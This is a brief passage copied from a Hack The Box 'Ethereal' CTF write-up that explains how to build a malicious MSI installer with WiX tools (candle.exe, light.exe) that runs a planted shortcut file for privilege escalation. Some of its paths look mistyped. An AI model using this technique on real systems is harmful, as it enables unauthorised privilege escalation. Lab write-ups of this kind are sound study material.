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**Tutorial copied from** [**https://0xrick.github.io/hack-the-box/ethereal/#Creating-Malicious-msi-and-getting-root**](https://0xrick.github.io/hack-the-box/ethereal/#Creating-Malicious-msi-and-getting-root)\
In order to create the msi we will use [wixtools](http://wixtoolset.org) , you can use other msi builders but they didn’t work for me.\
Check [this page](https://www.codeproject.com/Tips/105638/A-quick-introduction-Create-an-MSI-installer-with) for some wix msi usage examples.\
We will create an msi that executes our lnk file :
```markup
cmd.exe /C "c:\users\public\desktop\shortcuts\rick.lnk"
fail_here
```
We will use `candle.exe` from wixtools to create a wixobject from `msi.xml`
```markup
candle.exe -out C:\tem\wix C:\tmp\Ethereal\msi.xml
```
Then we will use `light.exe` to create the msi file from the wixobject:
```markup
light.exe -out C:\tm\Ethereal\rick.msi C:\tmp\wix
```
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